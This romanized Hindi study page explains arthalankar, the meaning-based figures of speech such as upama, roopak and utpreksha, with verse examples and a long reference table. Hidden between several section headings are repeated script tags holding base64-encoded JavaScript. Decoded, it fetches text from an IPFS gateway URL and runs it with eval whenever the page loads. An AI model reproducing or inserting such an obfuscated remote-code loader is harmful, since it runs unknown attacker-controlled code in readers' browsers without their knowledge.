अर्थालंकार
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jis alankar mean arth ke madhyam se kavy mean chamatkar utpann hota hai, vahaan arthalankar hota hai. isake pramukh bhed haian.
upama
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
jahaan ek vastu ya prani ki tulana atyant sadrishy ke karan prasiddh vastu ya prani se ki jae, vahaan upama alankar hota hai. upama alankar ke char tatv hote haian-
upamey - jisaki upama di jae arthath jisaka varnan ho raha hai.
upaman - jisase upama di jae.
sadharan dharm - upamey tatha upaman mean paya jane vala parampar saman gun.
vachak shabd - upamey aur upaman mean samanata prakat karane vala shabd jaise- jyoan, sam, sa, si, tuly, naee.
- udaharan
naval sundar shyam-sharir ki,
sajal nirad-si kal kanti thi.
is udaharan ka vishleshan is prakar hoga. kanti- upamey, nirad- upaman, kal- sadharan dharm, si- vachak shabd
roopak
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jahaan gun ki atyant samanata ke karan upamey mean upaman ka abhed aropan ho, vahaan roopak alankar hota hai.
- jaise
maiya maian to chandr khilauna laihoan.
- yahaan chandrama (upamey) mean khilauna (upaman) ka arop hone se roopak alankar hota hai.
utpreksha
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
jahaan samanata ke karan upamey mean sanbhavana ya kalpana ki jae vahaan utpreksha alankar hota hai. mano, manu, manahu, jano, janu, janahu adi isake bodhak shabd haian.
- jaise
kahati huee yoan uttara ke netr jal se bhar ge.
him ke karnoan se poorn mano ho ge pankaj ne॥
- yahaan uttara ke ashrupoorn netroan (upamey) mean os-kan yukt pankaj (upaman) ki sanbhavana ki gee hai.
upameyopama
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
upamey aur upaman ko paraspar upaman aur upamey banane ki prakriya ko upameyopama kahate haian.
atishayokti
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jahaan upamey ka varnan lok sima se badhakar kiya jae vahaan atishayokti alankar hota hai.
- jaise
age nadiya p di apar, gho da kaise utare par.
rana ne socha is par, tab tak chetak tha us par.
- yahaan sochane ki kriya ki poorti hone se pahale hi gho de ka nadi ke par pahuanchana lok-sima ka atikraman hai, atah atishayokti alankar hai.
ullekh
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jahaan ek vastu ka varnan anek prakar se kiya jae, vahaan ullekh alankar hota hai.
- jaise
too roop hai kiran mean, saundary hai suman mean,
too pran hai kiran mean, vistar hai gagan mean.
virodhabhas
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jahaan virodh n hote hue bhi virodh ka abhas diya jae, vahaan virodhabhas alankar hota hai.
- jaise
bain suny jabatean madhur,
tabatean sunat n bain.
- yahaan 'bain suny' aur 'sunat n bain' mean virodh dikhaee p data hai jabaki donoan mean vastavik virodh nahian hai.
drishtant
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jahaan upamey aur upaman tatha unake sadharan dharmoan mean bimb-pratibimb bhav ho, drishtant alankar hota hai.
- jaise
sukh-dukh ke madhur milan se yah jivan ho paripooran.
phir ghan mean ojhal ho shashi, phir shashi mean ojhal ho ghan.
- yahaan sukh-dukh aur shashi tatha ghan mean bimb-pratibimb bhav hai.
alankar | lakshan\pahachan chihn | udaharan\ tippani |
---|---|---|
upama | bhinn padarthoan ka sadrishy pratipadan upama ke char aang- upamey\ prastut- jisaki upama di jay. |
udaharan:- naval sundar shyam-sharir ki, sajal nirad-si kal kanti thi. |
poornopama | jisamean upama ke charoan aang maujood hoan | mukh chandr-sa sundar hai. |
luptopama | jisamean upama ke ek, do, ya tin aang lupt (gayab) ho | mukh chandr- sa hai. |
pratip | upama ka ulta (prasiddh upaman ko upamey bana dena) | mukh- sa chandr hai. |
upameyopama | pratip + upama | mukh-sa chandr aur chandr- sa mukh hai. |
ananvay (n aanvay) | ek hi vastu ko upamey v upaman donoan kahana (jab upamey ki samata dene ke lie koee upaman nahian hota aur kaha jata hai usake saman vahi hai. | (1) mukh mukh hi sa hai. (2) ram se ram, siya si siya |
sandeh | upamey mean upaman ka sandeh | yah mukh hai ya chandr hai. |
utpreksha | upamey mean upaman ki sanbhavana (bodhak shabd- mano, manu, manahu, jano, janu, janahu) | mukh mano chandr hai. |
roopak | upamey mean upaman ka arop (nishedharahit) | mukh chandr hai. |
apahnuti | upamey mean upaman ka arop (nishedhasahit) | yah mukh nahian, chandr hai. |
atishayokti | upamey ko nigalakar upaman ke sath abhinnata pradarshit karana (jahaan bahut badha-chadhakar lok sima se bahar ki bat kahi jay) | yah chandr hai. |
ullekh | vishay bhed se ek vastu ka anek prakar se varnan (ullekh). | (1) usake mukh ko koee kamal, koee chandr kahata hai. (2) jaki rahi bhavana jaisi, prabhoo -moorati dekhi tin taisi. |
smaran | sadrish ya visadrish vastu ke pratyaksh se poorvanubhoot vastu ka smaran | chandr ko dekhakar mukh yad ata hai. |
bhraantiman\bhram | sadrishy ke karan ek vastu ko doosari vastu man lena. not: - bhraantiman alankar mean upamey v upaman ke sadrishy ka abhas, saty liya jata hai, parantu sandeh alankar mean duvidha (sandeh) bani rahati hai 'ye haian' ya 'vo hai. |
phirat gharan nootan pathik chale chakit chit bhagi. |
tulyayogita | anek prastutoan ya aprastutoan ka ek dharm mean sanbandh batana | apane tan ke jani kai, joban nripati prabin. |
dipak | prastut v aprastut donoan ka ek dharm mean sanbandh batana. | mukh aur chandr shobhate haian. |
prativastoopama | upamey v upaman vakyoan mean ek hi sadharan dharm ko vibhinn shabdoan se kahana | mukh ko dekhakar netr tript ho jate haian (upamey vaky) chandr darshan se kisaki aankhe nahian ju dati? (upaman vaky). |
drishtaant | upamey- upaman mean bimb- pratibimb bhav ( bhav- samy- ek hi ashay ki do bhinn abhivyakti) | usaka mukh nisarg sundar (prakritik roop se sundar) hai; chandrama ko prasadhan ki kya avashyakata? |
nidarshana | upamey ka gun upaman mean athava upaman ka gun upamey mean aropit hona | ravi sasi nakhat dipahian ohi joti. |
vyatirek | upaman ki apeksha upamey ka vyatirek yani utkarsh varnan | chandr sakalank, mukh nishkalank; donoan mean samata kaisi? |
sahokti | saharthak shabd ke bal se jahaan ek shabd se anek arth nikale (saharthak shabd sah, sang, sath, adi) | bhauanhani sang chadhaiyai, kar gahi chap manoj. |
vinokti | yadi koee vastu kisi any vastu ke bina ashobhan ya shobhan batayi jay | bina putr soona sadan, gat gun sooni deh. |
samasokti | prastut ke madhyam se aprastut ka varnan | chanp lata sukumar too, dhan tuv bhagy bisal. |
anyokti\ aprastut prashansa | samasokti ka ulta yani aprastut (pratikoan) ke madhyam se prastut ka varnan | nahian parag nahian madhur madhu, nahian vikas ihi kal. |
paryayokti | sidhe n kahakar ghuma-phirakar kahana | apane kaise kripa ki. isaka arth hai ap kis kam ke lie aye. |
vyajastuti (vyaj- ninda) | ninda se stuti ya stuti se ninda ki pratiti | udho tum ati chatur sujan |
parikar | yadi visheshan sabhipray ho | jano n nek vyatha par ki, balihari too pai sujan kahavat. |
parikarakuanr | yadi visheshy sabhipray ho | pyari kahat lajat nahian, pavas chalat vides॥ (biharilal) |
akshep | kisi vivakshit vastu ko bina kiye bich mean hi chho d dena. | apase kahana to bahut kuchh tha, par usase labh kya hoga. |
virodhabhas | virodh n hone par bhi virodh ka abhas | mithi lage aankhiyan lunaee. |
vibhavana | karan ke abhav mean kary ki utpatti ka varnan | binu pad chalai, sunai binu kana. kar binu karam karai vidhi nana॥ (tulasidas) |
visheshokti | karan ke rahate hue bhi kary | nainauan se sadaiv jal ki varsha hoti rahati hai, tab ka n hona bhi pyas nahian bujhati. |
asangati | karan aur kary mean sangati ka abhav (karan kahian aur, kary kahian aur) | drig urajhat tootat kutum (biharilal) |
visham | do bemel padarthoan ka sanbandh batana | ko kahi sake b den ki, lakhe b di hoo bhool. |
karanamala | ek ka doosara karan, doosare ka tisara karan batate jana | hot lobh te moh, mohahian te upaje garab. |
ekavali | poorv- poorv vastu ke prati par-par vastu ka visheshan roop se sthanapan ya nishedh | manush vahi jo ho guni, guni jo kobid roop. |
kavyaliang (liang- karan) | kisi kathan ka karan dena (pahachan chihn- jisamean kyoanki isalie, chooanki adi ki sahayata se arth kiya ja sake) | kanak-kanak te sau guni, madakata adhikay. |
sar | vastuoan ka uttarottar utkarsh varnan | ati ooanche giri, giri se bhi ooanche haripad hai. unase bhi ooanche sajjan ke hriday vishad haian॥ |
anuman | sadhan (pratyaksh) ke dvara sadhy (apratyaksh) ka chamatkarapoorn varnan | mohi karat kat bavari, kiye doorav durai n. |
yathasankhy\kram | kuchh padarthoan ka ullekh karake usi kram (silasile) se unase sanbaddh any padarthoan, karyoan ya gunoan ka varnan karana | mani manik mukata chhabi jaisi. |
arthapatti | ek bat se doosari bat ka svatah siddh ho jana | athava ek paras mean hi jab, taras rahi maian itani |
parisankhya | ek hi vastu ki anek sthanoan mean sthiti sanbhav hone par bhi anyatr nishedh kar usaka ek sthan mean varnan karana. | ram ke rajy mean vakrata keval sundariyoan ke kataksh mean thi. |
sam | paraspar anukool vastuoan ka yogy sanbandh varnan | chirajivo jori, jurai kyo n saneh ganbhir. |
tadgun | apane gun ko chho dakar utkrisht gun vali doosari vastu ke gun ko grahan karana. | arun kiran-mala se ravi ki, |
atadgun | tadgun ka ulta (doosari vastu ke gunoan ko grahan n karana) | chandan vish vyapat nahian, lapate rahat bhujang. (rahim) |
milit (mil-jana) | anuroop vastu ke dvara kisi vastu ka chhip jana | baran bas sukumarata, sab bidh rahi samay. |
unmilit | milit ka ulta | yahaan sunahale sharir aur sone ke abhooshanoan ka aantar nahian dikhata par sparsh mean kathorata ke anubhav se abhooshanoan aur aangoan ka parthaky maloom p data hai. |
samany | sadrish gunoan ke karan prastut ka aprastut ke sath abhed pratipadan | yah ujjval prasad, chaandani se mil ekakar. |
svabhavokti | vastu ka yathavat\svabhavik varnan | sobhit kar navanit lie, ghutarun chalat renu tanu mandit mukh dadhi lep kie. (sooradas) yahaan krishna ki bal- cheshta ka svabhavik varnan hai. |
vyajokti (vyaj- chhal\bahana) | prakat hue rahasy ko kisi bahane se chhipa lena | kare varanh daravano, kat avat ihi geh. |
arthaantaranyas | samany ka vishesh se ya vishesh ka samany se samarthan karana | je 'rahim' uttam prakriti, ka kari sakat kusang. pratham charan- samany bat. dvitiy charan - vishesh bat. |
lokokti | prasangavash lokokti ka prayog karana | achhe din pachhe gaye, hari se kiyo n het. |
udaharan- | ek vaky kahakar usake udaharan ke roop mean doosara vaky kahana not- 'drishtaant' mean donoan vakyoan mean bimb pratibimb bhav rahata hai tatha koee vachak shabd nahian hota; jabaki 'udaharan' mean donoan vakyoan ka sadharan dharm to bhinn rahata hai parantu vachak shabd ke dvara unamean samanata pradarshit ki jati hai. |
ve rahim nar dhany hai, par upakari aang. |
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sanbandhit lekh
varnamala kramanusar lekh khoj
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